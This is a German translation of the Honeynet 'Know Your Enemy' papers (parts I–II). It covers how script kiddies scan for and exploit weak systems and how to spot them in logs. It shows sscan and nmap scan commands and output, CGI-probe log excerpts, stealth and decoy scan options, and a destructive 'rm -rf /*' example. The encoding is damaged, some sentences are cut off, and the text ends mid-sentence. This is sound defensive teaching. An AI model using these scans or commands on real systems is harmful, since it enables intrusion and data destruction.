http://old.honeynet.org/papers/trans/
Die Tools und Methoden der „Script Kiddies“
Den Feind erkennen
Mein Kommandeur pflegte zu sagen, das man, um sich gegen den Feind zu sch�tzen, erst mal wissen mu�, wer der Feind ist. Diese Milit�rdoktrin l��t sich genau so auf die Welt der Netzwerksicherheit �bertragen. Wie beim Milit�r geht es um Ressourcen, die Du sch�tzen willst. Um sie zu sch�tzen, mu�t Du wissen, wer die Gefahr ist und wie sie angreifen werden. Dieser Artikel, der erste von dreien, tut genau das: er diskutiert die Tools und Methoden, die von einer der am weitesten verbreiteten Gefahren genutzt werden: dem „Script Kiddie“. Der zweite Teil konzentriert sich darauf, wie man diese Attacken erkennen kann, wie man erkennt, welche Tools benutzt werden und nach welchen Schwachstellen sie suchen. Der dritte Teil befa�t sich damit, was passiert, wenn sie erst mal root geworden sind und ganz besonders darauf, wie sie ihre Spuren verwischen und was sie als n�chstes tun.
Wer ist das „Script Kiddie“?
Das „Script Kiddie“ ist jemand, der auf den schnellen, einfachen Erfolg aus ist. Sie sind nicht auf der Suche nach spezieller Information oder zielen auf eine bestimmte Firma. Alles was sie wollen, ist so einfach wie m�glich root zu werden. Das versuchen sie, indem sie sich auf eine kleine Anzahl von Schwachpunkten beschr�nken und dann das gesamte Internet danach absuchen. Fr�her oder sp�ter finden sie jemanden, der verwundbar ist.
Manche von ihnen sind fortgeschrittene Anwender, die ihre eigenen Tools entwickeln und ausgekl�gelte Hintert�ren hinterlassen. Manche wissen �berhaupt nicht, was sie tun; das einzige was sie k�nnen, ist „go“ auf der Kommandozeile zu tippen. Ungeachtet ihres Wissensstandes haben sie alle die gleiche Strategie: ziellos nach einer bestimmten Schw�che suchen und diese dann ausnutzen.
Die Bedrohung
Es ist diese zuf�llige Auswahl von Zielen, die das „Script Kiddie“ so gef�hrlich macht. Fr�her oder sp�ter werden Deine Maschinen und Netzwerke getestet werden, man kann sich vor ihnen nicht verstecken. Ich kenne Admins, die erstaunt waren, als ihre Systeme zwei Tage nach dem Hochfahren, als sie noch keiner kannte, gescannt wurden. Das ist nicht weiter erstaunlich. Wahrscheinlich wurden ihre Systeme von einem „Script Kiddie“ gescannt, der gerade einen Netzwerkblock testete.
Wenn sich das auf einige individuelle Scans beschr�nken w�rde, w�re die Statistik auf deiner Seite. Mit Millionen Systemen im Internet ist es wahrscheinlich, das niemand dich findet. Leider ist das nicht so. Die meisten verwendeten Tools sind einfach zu benutzen und weit verbreitet, jeder kann sie nutzen. Eine schnell wachsende Zahl von Leuten besorgt sich diese Tools. Da das Internet keine geografischen Grenzen kennt, hat sich diese Bedrohung schnell um die ganze Welt verbreitet. Auf einmal steht die Statistik gegen uns: mit so vielen Anwendern die diese Tools nutzen ist die Frage nicht ob, sondern wann Du gescannt werden wirst.
Dies ist ein hervorragendes Beispiel daf�r, warum „Sicherheit durch Geheimhaltung“ versagen kann. Du glaubst vielleicht, das, wenn niemand dein System kennt, Du sicher bist. Andere glauben, das ihre Systeme uninteressant sind, warum sollte sie also jemand scannen? Nach genau diesen Systemen suchen „Script Kiddies“, nach den ungesch�tzten Systemen, die einfach auszunutzen sind, dem schnellen Erfolg.
Die Methoden
Die Methode des „Script Kiddies“ ist einfach: durchsuche das Internet nach einer bestimmten Schwachstelle und wenn du sie gefunden hast, nutze sie aus. Die meisten Tools, die sie verwenden, sind automatisiert und erfordern wenig Interaktion. Starte das Tool und komm ein paar Tage sp�ter wieder, um die Ergebnisse abzuholen. Keine zwei Tools sind gleich, genauso wie keine zwei Exploits (wie �bersetzt man das am besten?) gleich sind. Wie auch immer, die meisten Tools arbeiten nach dem gleichen Prinzip: zuerst wird eine IP- Adressdatenbank erzeugt, die man scannen kann. Dann werden diese IP-Adressen nach einer bestimmten Schwachstelle gescannt.
Nehmen wir einfach an, ein Anwender h�tte ein Tool, mit dem er imap auf Linuxsystemen ausnutzen kann (http://www.enteract.com/~lspitz/imapd_exploit.txt). Als erstes w�rde er eine IP-Adressdatenbank erzeugen, die gescannt werden k�nnen (d.h. das Zielsystem l�uft und ist erreichbar). Nachdem die Datenbank erzeugt ist, w�rde der Anwender herausfinden wollen, welche dieser Systeme unter Linux laufen. Viele moderne Scanner k�nnen das herausfinden, indem sie fehlerhafte Pakete verschicken und die Antwort analysieren (ein Beispiel ist Fyodors nmap (http://www.insecure.org/nmap)). Danach w�rden andere Tools benutzt, um herauszufinden, auf welchen dieser Linuxsysteme imap l�uft. Alles, was danach noch zu tun bleibt, ist die Schw�che der verbleibenden Maschinen auszunutzen.
Man k�nnte vermuten, da� das ganze Scannen extrem auff�llig ist und ein ganze Menge Aufmerksamkeit auf sich zieht. Viele Leute �berwachen ihre Systeme aber nicht und sind sich gar nicht bewu�t, das sie gescannt worden sind. Viele „Script Kiddies“ suchen sich auch in aller Stille ein einzelner System, das sie benutzen k�nnen. Wenn sie einmal eingedrungen sind, nutzen sie dieses System als Plattform. Sie k�nnen dreist das ganze Internet absuchen, ohne Strafe f�rchten zu m�ssen. Wenn ihre Scans entdeckt werden, wird der Systemadministrator und nicht sie selber zur Verantwortung gezogen.
Dar�berhinaus werden die Ergebnisse solcher Scans oft aufbewahrt und an andere weitergegeben, um sp�ter wiederverwendet zu werden. Nehmen wir an, ein Anwender hat eine Datenbank von offenen Ports an erreichbaren Linuxsystemen erzeugt. Zweck dieser Datenbank ist es, die aktuelle imap-Schw�che auszunutzen. Nehmen wir weiter an, in einem Monat wird eine andere Schw�che auf einem anderen Port entdeckt. Anstatt die ganze Datenbank neu aufbauen zu m�ssen (der zeitraubenste Teil), kann der Anwender einfach in die bestehende Datenbank schauen und die angreifbaren Systeme kompromittieren. Alternativ dazu nutzen „Script Kiddies“ diese Datenbanken gemeinsam oder kaufen sie von einander. Das „Script Kiddie“ kann dann dein System angreifen, ohne es jemals gescannt zu haben. Nur weil deine Systeme k�rzlich nicht gescannt worden sind, hei�t das nicht, das du sicher bist.
Die erfahreneren „Schlapph�te“ implementieren Trojaner und Hintert�ren, wenn sie erst mal im System sind. Hintert�ren erlauben einfachen und unbemerkten Zugang zum System wann immer der Anwender es m�chte. Die Trojaner machen den Eindringling unauffindbar. Er taucht in keinen Logs, Systemprozessen oder Dateisystemen auf. Er baut sich ein komfortables und sicheres Heim, von dem aus er das ganze Internet scannen kann. Mehr Informationen finden sich in „Den Feind erkennen III“.
Diese Attacken beschr�nken sich nicht auf eine bestimmte Tageszeit. Viele Admins durchsuchen ihre Logs nach Scanversuchen die sp�t nachts stattfinden, da sie glauben, das dies die Zeit sei, zu der die B�sen angreifen. „Script Kiddies“ greifen zu jeder Zeit an. Da sie 24 Stunden am Tag scannen, wei� man nie, wann der n�chste Versuch stattfindet. Dar�berhinaus werden die Attacken rund um die Welt gestartet. Genausowenig wie geografische Grenzen kennt das Internet Zeitzonen. Bei den B�sen mag es Mitternacht sein, w�hrend es bei dir ein Uhr mittags ist.
Diese Methode des Scannens nach angreifbaren Systemen kann zu einer Reihe von Zwecken verwendet werden. Erst k�rzlich wurde von neuen DoS-Attacken berichtet, besonders von DDoS-Attacken (Distributed DoS-Attacken). Diese Angriffe basieren auf einem einzelnen Anwender, der hunderte, wenn nicht tausende, kompromittierte Systeme rund um die Welt kontrolliert. Diese kompromittierten Systeme werden dann aus der Ferne koordiniert, um eine DoS-Attacke gegen ein oder mehrere Opfer zu starten. Da verschiedene Systeme benutzt werden, ist es extrem schwierig, die Quelle solcher Angriffe zu erkennen oder den Angriff abzuwehren. Um die Kontrolle �ber so viele Systeme zu erlangen, werden oft die Taktiken der „Script Kiddies“ angewandt. Angreifbare Systeme werden zuf�llig ausgew�hlt und dann zu DDoS-Plattformen gemacht. Je mehr Systeme benutzt werden, dest kraftvoller ist die DDoS-Attacke. Ein Beispiel f�r eine solche Attacke ist „stacheldraht“. Mehr �ber DDoS-Angriffe und wie man sich davor sch�tzen kann steht auf Paul Fergusons Seite denialinfo (http://www.denialinfo.com).
Die Tools
Die benutzten Tools sind extrem einfach zu benutzen. Die meisten dienen nur einem Zweck und bieten wenige Optionen. Als erstes kommen die Tools um eine IP- Datenbank aufzubauen. Diese Tools arbeiten wirklich zuf�llig, da sie einfach das Internet scannen. Zum Beispiel hat ein Tool nur eine einzige Option:A, B oder C. Durch den Buchstaben, den man ausw�hlt, legt man die Gr��e des zu scannenden Netzwerkes fest. Danach sucht das Tool nach zuf�llig erzeugten IP-Adressen. Ein anderes Tool nutzt einen Dom�nennamen (z0ne ist daf�r ein hervorragendes Beispiel). Die Tools bauen die IP-Datenbank auf, indem sie Zonentransfers des Dom�nennamens und aller Unterdom�nen ausf�hren. Anwender haben Datenbanken mit mehr als 2 Millionen IP-Adressen aufgebaut, indem sie die gesamte .com oder .edu Dom�ne gescannt haben.
Einmal entdeckt, werden die Adressen dann von Tools gescannt um Schwachstellen aufzudecken, wie z.B. die Version von named, das Betriebssystem oder Prozesse die auf dem System laufen. Wenn die angreifbaren Systeme entdeckt sind, schl�gt der B�se zu. Es existieren verschiedene Tools, die alle diese Schritte kombinieren und den Prozess noch weiter vereinfachen, z.B. sscan von jsbach (http://ben3.ucla.edu/~jsbach) oder cracker.pl (http://www.enteract.com/~lspitz/README.cracker.txt). F�r ein besseres Verst�ndnis, wie diese Tools arbeiten lies „Den Feind erkennen II“.
Schlu�folgerung
Die „Script Kiddies“ stellen eine Bedrohung f�r jedes System dar. Sie zeigen keine besondere Neigung und scannen alle Systeme, unabh�ngig vom Standort und der Bedeutung. fr�her oder sp�ter wird dein System gescannt werden. Durch das Verst�ndnis f�r ihre Motive und Methoden kannst Du Dein System besser gegen diese Bedrohung sch�tzen.
Ihre Spuren verfolgen
Den Feind erkennen II
Dieser Artikel ist der zweite von drei Teilen. Der erste Teil behandelte die Tools und Methoden der „Script Kiddies“, besonders wie sie nach Schwachstellen suchen und diese dann angreifen. Der dritte Teil beschreibt, was „Script Kiddies“ tun, wenn sie erst mal root sind und hier besonders, wie sie ihre Spuren verwischen und was sie tun. Dieser Teil besch�ftigt sich mit dem Verfolgen ihrer Spuren. Genau wie beim Milit�r m�chte man die B�sen verfolgen und wissen was sie tun. Wir werden erkl�ren, was man mit Hilfe der System Logs herausfinden kann und was nicht. Vielleicht kannst du herausfinden, ob du gescannt worden bist, nach was du gescannt worden bist, mit welchen Tools und ob sie erfolgreich waren. Die Beispiele hier konzentrieren sich auf Linux, k�nnen aber auf fast jede Version von Unix angewandt werden. Sei dir aber bewu�t, da� es keinen garatierten Weg gibt, jeden Schritt deines Feindes zu verfolgen. Trotzdem ist dieser Artikel ein guter Anfang.
Deine Logs sichern
Dieser Artikel besch�ftigt sich nicht mit der Erkennung von Einbruchsversuchen, es gibt eine Anzahl exzellenter Quellen, die dies tun. Wenn du dich daf�r interessierst, empfehle ich Programme wie den Network Flight Recorder (http://www.nfr.net) oder snort (http://www.clark.net/~roesch/security.html). Dieser Artikel ist �ber Informationsbeschaffung. Im speziellen: wie finde ich mit Hilfe meiner Systemlogs heraus, was der Feind tut? Du wirst �berrascht sein, wieviel Informationen man in seinen Logfiles findet. Bevor wir aber �ber die Auswertung reden, m�ssen wir erst �ber die Sicherung der Logs reden. Deine Logfiles sind wertlos, wenn du dich nicht auf ihre Richtigkeit verlassen kannst. Das erste was die meisten B�sen tun, ist die Logfiles auf einem kompromittiertem System zu ver�ndern. Es gibt eine ganze Reihe von Tools (z.B. cloak), die deine Anwesenheit aus den Logs herausl�schen oder gleich das ganze Logging ver�ndern (wie ver�nderte syslogd-Binaries). Der erste Schritt zum Auswerten der Logs mu� also deren Sicherung sein.
Das bedeutet, das Du einen Remote-Logserver verwenden mu�t. Egal wie sicher Dein System ist, Du kannst Logs auf einem kompromittiertem System nicht vertrauen. Der B�se kann einfach ein rm -rf /* machen und deine Festplatte komplett l�schen. Dadurch wird das Wiederherstellen deiner Logs etwas schwierig. Um sich dagegen zu sch�tzen, sollten alle Systeme doppelt loggen: einmal lokal und einmal auf einem Remote-Logserver. Ich w�rde empfehlen, eine eigene Maschine als Logserver abzustellen, d.h. dieser Rechner tut nichts anderes, als die Logs von anderen Systemen zu sammeln. Wenn Geld eine Rolle spielt, l��t sich mit Linux einfach ein solcher Server aufsetzen. Dieser Server sollte bestm�glich gesichert werden, mit so wenig laufenden Diensten wie m�glich und Zugriff nur von der Konsole aus. Au�erdem sollte sichergestellt sein, da� der UDP-Port 514 geblockt oder von einer Firewall an der Internetverbindung gesichert ist. Das sch�tzt den Server vor falschen oder nicht autorisierten Logginginformationen aus dem Internet.
Wenn man ganz gerissen sein will, kompiliert man einfach neu, so das sie eine andere Konfigurationsdatei einliest, z.B. /var/tmp/.conf. Auf diese Weise wei� der B�se nicht, wo die wahre Konfigurationsdatei liegt. Die �nderung ist durch einfaches editieren des Eintrags /etc/syslog.conf im Sourcecode zu machen. Au�erdme tragen wir in unsere neue Konfigurationsdatei ein, sowohl lokal als auch auf dem Remote-Logserver zu loggen. Trotz alledem sollte man eine Standardkonfigurationsdatei /etc/syslogd.conf behalten, auf der das Logging ausschlie�lich lokal zu sein scheint. Diese Datei ist zwar jetzt nutzlos, wird den B�sen aber von dem Remote-Logging ablenken. Eine andere Methode deine Systeme zu sch�tzen, ist das verwenden einer sicheren Logmethode. Eine M�glichkeit w�re es, die syslogd-Binary gegen etwas auszutauschen, was einen eingebauten Integrit�tscheck und eine gr��ere Auswahl an Optionen hat, z.B. syslog-ng, zu finden auf http://www.balabit.hu/products/syslog-ng.html.
Die meisten Logs die wir nutzen werden, liegen auf einem Remote-Logserver. Wie vorher erw�hnt, k�nnen wir auf die Integrit�t dieser Dateien vertrauen, da sie auf einem Remote und gut gesichertem System liegen. Dar�berhinaus ist wesentlich leichter, bestimmte Muster in den Logs zu erkennen, da alle Systeme auf einen zentralen Rechner schreiben. Man kann mit einem Blick sehen, was auf allen Systemen geschieht. Die einzige Gelegenheit, bei der man die lokalen Logfiles ansehen mu�, ist um zu vergleichen, ob sie mit den Serverlogs identisch sind. So l��t sich einfach herausfinden, ob sie ver�ndert worden sind oder nicht.
Muster erkennen
Ob man Opfer eines Portscans geworden ist, l��t sich normalerweise an den Logs feststellen. Die meisten Script Kiddies scannen Netzwerke nach einer einzelnen Schw�che. Wenn man aus den Logs erkennen kann, das die meisten eigenen Systeme eine Verbindung auf dem immer gleichen Port zu einem immer gleichen Remotesystem aufgebaut haben, ist das sehr wahrscheinlich eine Scanattacke. Der Feind hat die M�glickeit, eine einzelne Schwachstelle auszunutzen und danach sucht er dein Netzwerk ab. Wenn er sie findet, wird er sie ausnutzen. Auf den meisten Linuxsystemen sind standardm��ig TCP-Wrapper installiert. Die meisten der Verbindungen werden wir also in /var/log/secure finden. Bei den anderen Linux- Varianten k�nnen wir alle inetd Verbindungen loggen indem inetd mit dem „-t“ Parameter gestartet wird. Ein typischer Schwachpunkt-Scan w�rde so �hnlich aussehen wie das Beispiel weiter unten. Hier sucht jemand nach der wu-ftpd Schw�che:
/var/log/secure Apr 10 13:43:48 mozart in.ftpd[6613]: connect from 192.168.11.200 Apr 10 13:43:51 bach in.ftpd[6613]: connect from 192.168.11.200 Apr 10 13:43:54 hadyen in.ftpd[6613]: connect from 192.168.11.200 Apr 10 13:43:57 vivaldi in.ftpd[6613]: connect from 192.168.11.200 Apr 10 13:43:58 brahms in.ftpd[6613]: connect from 192.168.11.200
Man sieht, wie die Adresse 192.168.11.200 das Netzwerk absucht. Beachte, wie der Angreifer die IPs nacheinander absucht (das ist nicht immer der Fall). Hier liegt der Vorteil eines Logservers: man kann einfacher Muster im Netzwerk erkennen, da alle Logs hier zusammenlaufen. Die wiederholten Verbindungen zu Port 21 (ftp) zeigen an, das wahrscheinlich nach dem wu-ftpd Schwachpunkt gesucht wurde. Wir haben also gerade herausgefunden, wonach der B�se gesucht hat. Scans tendieren oft dazu in Wellen zu kommen. Jemand ver�ffentlicht Code, um eine imap-Schw�che auszunutzen und pl�tzlich kommt ein Schwall von imap-Scans in die Logs. N�chsten Monat ist es dann vielleicht ftp. Eine hervorragende Quelle f�r aktuelle Schwachpunkte ist http://www.cert.org/advisories. Manche Tools k�nnen auch gleichzeitig nach mehreren Schw�chen suchen, man sieht also manchmal eine einzelne Quelle Verbindung zu mehreren Ports aufnehmen.
Was sind die Tools?
Manchmal kann sogar die Tools erkennen, die benutzt werden, um das Netzwerk zu scannen. Einige der einfacheren Tools scannen nach nur einem Schwachpunkt, wie z.B. ftp-scan.c. Wenn nur ein einzelner Port oder Schwachpunkt im Netzwerk gescannt wird, wird wahrscheinlich ein solches „Einzeltool“ benutzt. Es existieren aber Tools, die nach einer ganzen Reihe von Schwachpunkten suchen. Die beiden popul�rsten Tools sind sscan (http://www.ben2.ucla.edu/~jsbach) von jsbach und nmap (http://www.insecure.org/nmap) von Fyodor. Ich habe diese beiden Tools ausgesucht, da sie die beiden „Kategorien“ von Scanningtools repr�sentieren. Ich empfehle sehr, da du diese Tools gegen dein Netzwerk einsetzt, du k�nntest �ber die Ergebnisse �berrascht sein :)
wahrscheinlich eines der besten. Es testet ein Netzwerk schnell auf eine Reihe von Schwachstellen (inklusive cgi-bin). Es ist einfach anzupassen
und erlaubt so Testverfahren f�r neue Schw�chen hinzuzuf�gen. Man mu� dem
Tool nur ein Netzwerk und eine Subnetzmaske geben und es erledigt den Rest. Der Anwender mu� jedoch root sein um es zu nutzen. Die Ausgabe ist extrem einfach zu deuten (darum ist es so beliebt). Es gibt eine knappe Zusammenfassung vieler verwundbarer Dienste. Alles, was man zu tun hat, ist sscan gegen ein Netzwerk einzusetzen, die Ausgabe nach dem Wort „VULN“ zu durchsuchen und den „Angriff des Tages“ zu starten. Es folgt ein Beispiel, in dem sscan gegen das System mozart (172.17.6.30) eingesetzt wird:
otto #./sscan -o 172.17.6.30
<[ tcp port: 80 (http) ]> <[ tcp port: 23 (telnet) ]>
<[ tcp port: 143 (imap) ]> <[ tcp port: 110 (pop-3) ]>
<[ tcp port: 111 (sunrpc) ]> <[ tcp port: 79 (finger) ]>
<[ tcp port: 53 (domain) ]> <[ tcp port: 25 (smtp) ]>
<[ tcp port: 21 (ftp) ]>
--<[ *OS*: mozart: os detected: redhat linux 5.1
mozart: VULN: linux box vulnerable to named overflow.
-<[ *CGI*: 172.17.6.30: tried to redirect a /cgi-bin/phf request.
-<[ *FINGER*: mozart: root: account exists.
--<[ *VULN*: mozart: sendmail will 'expn' accounts for us
--<[ *VULN*: mozart: linux bind/iquery remote buffer overflow
--<[ *VULN*: mozart: linux mountd remote buffer overflow
---------------------------<[ * scan of mozart completed *
Schwachstellen existieren, sondern nur welche Ports offen sind und du selber sch�tzt den Einflu� auf die Sicherheit ab. Nmap ist schnell zur ersten Wahl der Portscanner geworden und das nicht ohne Grund. Es vereint die besten Funktionen von verschiedenen Portscannern in einem einzelnen Tool, inklusive OS- Feststellung, verschiedene Paketzusammensetzungsoptionen (original:packet assembly options), sowohl TCP als auch UDP scanning, Willk�rlichkeit, etc. Man braucht jedoch Netzwerkwissen um das Tool zu nutzen und die Daten zu interpretieren. Es folgt ein Beispiel in dem nmap wieder gegen das gleiche System eingesetzt wird:
otto #nmap -sS -O 172.17.6.30
Starting nmap V. 2.08 by Fyodor (fyodor@dhp.com,
Interesting ports on mozart (172.17.6.30):
Port State Protocol Service
21 open tcp ftp
23 open tcp telnet
25 open tcp smtp
37 open tcp time
53 open tcp domain
70 open tcp gopher
79 open tcp finger
80 open tcp http
109 open tcp pop-2
110 open tcp pop-3
111 open tcp sunrpc
143 open tcp imap2
513 open tcp login
514 open tcp shell
635 open tcp unknown
2049 open tcp nfs
TCP Sequence Prediction: Class=truly random
Difficulty=9999999 (Good luck!)
Remote operating system guess: Linux 2.0.35-36
Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds
Durch das Lesen deiner Logs kannst du erkennen, welches Tools gegen dich eingesetzt wurde. Um das zu schaffen, mu�t du wissen, wie diese Tools arbeiten. Ein sscan wird wie folgt geloggt werden (dies ist ein Standardscan ohne Ver�nderungen an irgendwelchen Konfigurationsdateien):
/var/log/secure Apr 14 19:18:56 mozart in.telnetd[11634]: connect from 192.168.11.200 Apr 14 19:18:56 mozart imapd[11635]: connect from 192.168.11.200 Apr 14 19:18:56 mozart in.fingerd[11637]: connect from 192.168.11.200 Apr 14 19:18:56 mozart ipop3d[11638]: connect from 192.168.11.200 Apr 14 19:18:56 mozart in.telnetd[11639]: connect from 192.168.11.200 Apr 14 19:18:56 mozart in.ftpd[11640]: connect from 192.168.11.200 Apr 14 19:19:03 mozart ipop3d[11642]: connect from 192.168.11.200 Apr 14 19:19:03 mozart imapd[11643]: connect from 192.168.11.200 Apr 14 19:19:04 mozart in.fingerd[11646]: connect from 192.168.11.200 Apr 14 19:19:05 mozart in.fingerd[11648]: connect from 192.168.11.200
/var/log/maillog Apr 14 21:01:58 mozart imapd[11667]: command stream end of file, while
reading line user=??? host=[192.168.11.200]
Apr 14 21:01:58 mozart ipop3d[11668]: No such file or directory while
reading line user=??? host=[192.168.11.200]
Apr 14 21:02:05 mozart sendmail[11675]: NOQUEUE: [192.168.11.200]: expn
root
/var/log/messages Apr 14 21:03:09 mozart telnetd[11682]: ttloop: peer died: Invalid or
incomplete multibyte or wide character
Apr 14 21:03:12 mozart ftpd[11688]: FTP session closed
sscan sucht au�erdem nach cgi-bin Schw�chen. Diese Versuche werden nicht mit syslogd aufgezeichnet, man findet sie statt dessen in access_log. Ich habe mich trotzdem entschlossen, sie hier zu deiner Erbauung zu erw�hnen :)
/var/log/httpd/access_log 192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/phf
HTTP/1.0„ 302 192
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/Count.cgi
HTTP/1.0“ 404 170
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/test-cgi
HTTP/1.0„ 404 169
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/php.cgi
HTTP/1.0“ 404 168
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/handler
HTTP/1.0„ 404 168
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/webgais
HTTP/1.0“ 404 168
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/websendmail
HTTP/1.0„ 404 172
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/webdist.cgi
HTTP/1.0“ 404 172
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/faxsurvey
HTTP/1.0„ 404 170
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/htmlscript
HTTP/1.0“ 404 171
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-
bin/pfdisplay.cgi HTTP/1.0„ 404 174
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/perl.exe
HTTP/1.0“ 404 169
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/wwwboard.pl
HTTP/1.0„ 404 172
192.168.11.200 - - [14/Apr/1999:16:44:50 -0500] "GET /cgi-
bin/ews/ews/architext_query.pl HTTP/1.0“ 404 187
192.168.11.200 - - [14/Apr/1999:16:44:50 -0500] "GET /cgi-bin/jj HTTP/1.0"
404 163
Beachte, wie eine vollst�ndige Verbindung (SYN, SYN-ACK, ACK) f�r alle Ports aufgebaut und dann wieder abgebrochen wird. Das kommt daher, da� sscan auf der Anwendungsebene feststellt was vorgeht. sscan m�chte nicht nur wissen OB ein ftp port offen ist, sondern WELCHER ftp daemon l�uft. Das gleiche trifft auch f�r imap, pop etc. zu. Sehen kann das in den „sniff traces“, die mit sniffit, einem weit verbreitetem Tools zum sniffen von Passw�rtern, erzeugt wurden.
mozart $ cat 172.17.6.30.21-192.168.11.200.7238 220 mozart.example.net FTP server (Version wu-2.4.2-academ[BETA-17](1) Tue
Jun 9 10:43:14 EDT 1998) ready.
Wie man oben sehen kann, wurde eine vollst�ndige Verbindung aufgebaut, um die Version des laufenden wu-ftpd zu ermitteln. Wenn Verbindungen wie oben in den Logs auftauchen, wird man sehr wahrscheinlich gescannt. Diese Tools bauen Verbindungen auf, um festzustellen, was auf dem Rechner l�uft.
nmap k�mmert sich wie die meisten Portscanner nicht darum was l�uft, sondern ob spezielle Dienste laufen. Daf�r hat nmap ein umfangreiches Set an Optionen, mit denen man bestimmen kann, welche Art von Verbindung herzustellen ist, inklusive SYN, FIN, Xmas, Null, etc. Eine detaillierte Beschreibung der Optionen findet man auf http://www.insecure.org/nmap/nmap_doc.html. Wegen dieser Optionen werden die Logs je nach ausgew�hlten Optionen anders aussehen. Eine Verbindung, die mit den -sT Parametern aufgebaut wurde, ist eine vollst�ndige Verbindung, die Logs werden also �hnlich wie bei sscan aussehen, nmap scannt jedoch standardm��ig mehr Ports.
/var/log/secure Apr 14 21:20:50 mozart in.rlogind[11706]: connect from 192.168.11.200 Apr 14 21:20:51 mozart in.fingerd[11708]: connect from 192.168.11.200 Apr 14 21:20:51 mozart ipop2d[11709]: connect from 192.168.11.200 Apr 14 21:20:51 mozart in.rshd[11710]: connect from 192.168.11.200 Apr 14 21:20:51 mozart gn[11711]: connect from 192.168.11.200 Apr 14 21:20:51 mozart gn[11711]: error: cannot execute /usr/sbin/gn: No
such file or directory
Apr 14 21:20:52 mozart in.timed[11712]: connect from 192.168.11.200 Apr 14 21:20:52 mozart imapd[11713]: connect from 192.168.11.200 Apr 14 21:20:52 mozart ipop3d[11714]: connect from 192.168.11.200 Apr 14 21:20:52 mozart in.telnetd[11715]: connect from 192.168.11.200 Apr 14 21:20:52 mozart in.ftpd[11716]: connect from 192.168.11.200
Etwas, an das man sich erinnern sollte, ist die -D (wie decoy=Lockvogel, K�der) Option. Diese nmap Option erm�glicht es dem User seine Ip-Adresse zu verbergen. Es ist m�glich, das man Scans von 15 verschiedenen Quellen gleichzeitig sieht, aber nur eine davon ist die echte. Es ist extrem schwierig, diese eine herauszufinden. Noch �fter werden User die -sS Option zum Portscannen verwenden. Da nur ein SYN-Paket gesendet wird, ist dieses eine noch verstohlerene Methode. Wenn das Zielsystem antwortet, wird die Verbindung sofort mit einem RST abgebrochen. Die Logs f�r einen solchen Scanversuch sehen wie folgt aus (Anmerkung: nur die ersten f�nf Eintr�ge werden ber�cksichtigt):
/var/log/secure Apr 14 21:25:08 mozart in.rshd[11717]: warning: can't get client address:
Connection reset by peer
Apr 14 21:25:08 mozart in.rshd[11717]: connect from unknown Apr 14 21:25:09 mozart in.timed[11718]: warning: can't get client address:
Connection reset by peer
Apr 14 21:25:09 mozart in.timed[11718]: connect from unknown Apr 14 21:25:09 mozart imapd[11719]: warning: can't get client address:
Connection reset by peer
Apr 14 21:25:09 mozart imapd[11719]: connect from unknown Apr 14 21:25:09 mozart ipop3d[11720]: warning: can't get client address:
Connection reset by peer
Apr 14 21:25:09 mozart ipop3d[11720]: connect from unknown Apr 14 21:25:09 mozart in.rlogind[11722]: warning: can't get client
address: Connection reset by peer
Apr 14 21:25:09 mozart in.rlogind[11722]: connect from unknown
Beachte die ganzen Fehlermeldungen bei den Verbindungen. Da die SYN-ACK Sequenz abgebrochen wird, bevor die Verbindung steht, kann der daemon das Quellsystem nicht identifizieren. Die Logs sagen, das man gescannt worden ist, aber leider nicht von wem. Noch alarmierender ist es, das auf den meisten anderen Systemen (inklusive der neueren Linux-Kernelversionen) diese Fehler nicht mal geloggt w�rden. Um Fyodor zu zitieren „…Dies ist eine Kuriosit�t von Linux 2.0.XX – praktisch jedes andere System (inklusive der 2.2 und �lteren 2.1 Kernel) zeigt nichts an. Dieser Fehler (ein accept() wird gesendet bevor der 3-way-handshake komplett ist) wurde beseitigt.“
nmap bietet noch andere Stealthoptionen, wie z.B. -sF, -sX, -sN bei denen verschiedene Parameter genutzt werden. So sehen die Logs f�r diese Scans aus:
/var/log/secure
Beachte: keine Logeintr�ge. Erschreckend, oder? Man wurde gerade gescannt und wei� es nicht mal. Alle drei Scans lieferten die gleichen Ergebnisse, man kann jedoch nur den ersten Typ (-sT, komplette Verbindung) vollst�ndig loggen. Um diese „Stealthscans“ zu entdecken, braucht man ein anderes Logprogramm wie tcplogd oder ippl. Einige kommerzielle Firewalls erkennen und zeichnen alle diese Scans auf (ich habe das auf einer Checkpoint Firewall-1 �berpr�ft).
Sind sie reingekommen?
Wenn Du erkannt hast, das Du gescannt worden bist und wonach sie gesucht haben ist die n�chste gro�e Frage „Sind sie reingekommen?“. Die meisten heutigen „remote exploits“ basieren auf Puffer�berl�ufen (buffer overflows, auch bekannt als smashing the stack). Einfach formuliert findet ein Puffer�berlauf statt, wenn ein Programm (normalerweise ein daemon) mehr Eingaben erh�lt, als er erwartet hat und dadurch kritische Bereiche im Hauptspeicher �berschreibt. Bestimmter Code wird dann ausgef�hrt und gibt dem User normalerweise root- Zugriff. Mehr Infos �ber buffer overflows findet man in Aleph1's hervorragendem Dokument auf ftp://ftp.technotronic.com/rfc/phrack49-14.txt.
Normalerweise erkennt man Buffer overflow-Attacken im /var/log/messages Logfile (oder /var/adm/messages bei anderen Unixvarianten) f�r Angriffe gegen mountd. �hnliche Eintr�ge findet man in maillog f�r Angriffe gegen den imapd. Eine solche Attacke w�rde wie folgt aussehen:
